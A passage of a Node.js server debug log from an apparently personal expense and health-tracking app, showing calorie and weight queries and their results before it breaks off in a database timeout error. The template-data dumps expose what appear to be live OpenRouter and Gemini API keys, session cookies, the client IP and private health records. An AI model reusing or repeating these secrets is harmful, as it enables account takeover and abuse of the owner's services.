  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T02:37:31.450Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T02:37:31.450Z server-connect:app Executing action step identify
2025-12-18T02:37:31.450Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:31.450Z server-connect:output identity: 1
2025-12-18T02:37:31.450Z server-connect:app Executing action step restrict
2025-12-18T02:37:31.450Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T02:37:31.451Z server-connect:output restrict: undefined
2025-12-18T02:37:31.451Z server-connect:router Render template calorie-tracker
2025-12-18T02:37:31.451Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T02:37:31.721Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T02:37:31.721Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T02:37:31.722Z server-connect:app Executing action step identify
2025-12-18T02:37:31.722Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:31.722Z server-connect:output identity: 1
2025-12-18T02:37:31.722Z server-connect:app Executing action step restrict
2025-12-18T02:37:31.722Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:31.722Z server-connect:output restrict: undefined
2025-12-18T02:37:31.722Z server-connect:app Executing action step single
2025-12-18T02:37:31.722Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T02:37:31.723Z server-connect:app Executing action step identify
2025-12-18T02:37:31.723Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:31.723Z server-connect:output identity: 1
2025-12-18T02:37:31.723Z server-connect:app Executing action step restrict
2025-12-18T02:37:31.723Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T02:37:31.723Z server-connect:output restrict: undefined
2025-12-18T02:37:31.723Z server-connect:app Executing action step single
2025-12-18T02:37:31.723Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T02:37:31.724Z server-connect:output summary: undefined
2025-12-18T02:37:31.725Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T02:37:31.725Z server-connect:app Executing action step select
2025-12-18T02:37:31.725Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T02:37:31.727Z server-connect:output item_list: []
2025-12-18T02:37:31.727Z server-connect:app Executing action step setvalue
2025-12-18T02:37:31.727Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T02:37:31.727Z server-connect:output var_total: 0
2025-12-18T02:37:31.727Z server-connect:app Executing action step setvalue
2025-12-18T02:37:31.727Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T02:37:31.727Z server-connect:output var_consumed: 0
2025-12-18T02:37:31.727Z server-connect:app Executing action step setvalue
2025-12-18T02:37:31.727Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T02:37:31.727Z server-connect:output var_deficit: 2400
2025-12-18T02:37:31.727Z server-connect:app Executing action step custom
2025-12-18T02:37:31.727Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T02:37:31.729Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  }
]
2025-12-18T02:37:32.319Z server-connect:app Executing action step identify
2025-12-18T02:37:32.319Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:32.319Z server-connect:output identity: 1
2025-12-18T02:37:36.330Z server-connect:router Serving templateView /weight-trackor
2025-12-18T02:37:36.330Z server-connect:app Executing action step identify
2025-12-18T02:37:36.330Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:36.330Z server-connect:output identity: 1
2025-12-18T02:37:36.330Z server-connect:app Executing action step restrict
2025-12-18T02:37:36.330Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T02:37:36.331Z server-connect:output restrict: undefined
2025-12-18T02:37:36.331Z server-connect:router Render template weight-trackor
2025-12-18T02:37:36.331Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T02:37:36.601Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-18T02:37:36.602Z server-connect:app Executing action step identify
2025-12-18T02:37:36.602Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:36.602Z server-connect:output identity: 1
2025-12-18T02:37:36.602Z server-connect:app Executing action step restrict
2025-12-18T02:37:36.602Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T02:37:36.602Z server-connect:output restrict: undefined
2025-12-18T02:37:36.602Z server-connect:app Executing action step custom
2025-12-18T02:37:36.602Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-18T02:37:36.604Z server-connect:output list: [
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-18T02:37:45.671Z server-connect:app Executing action step identify
2025-12-18T02:37:45.671Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:45.671Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 03:51:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
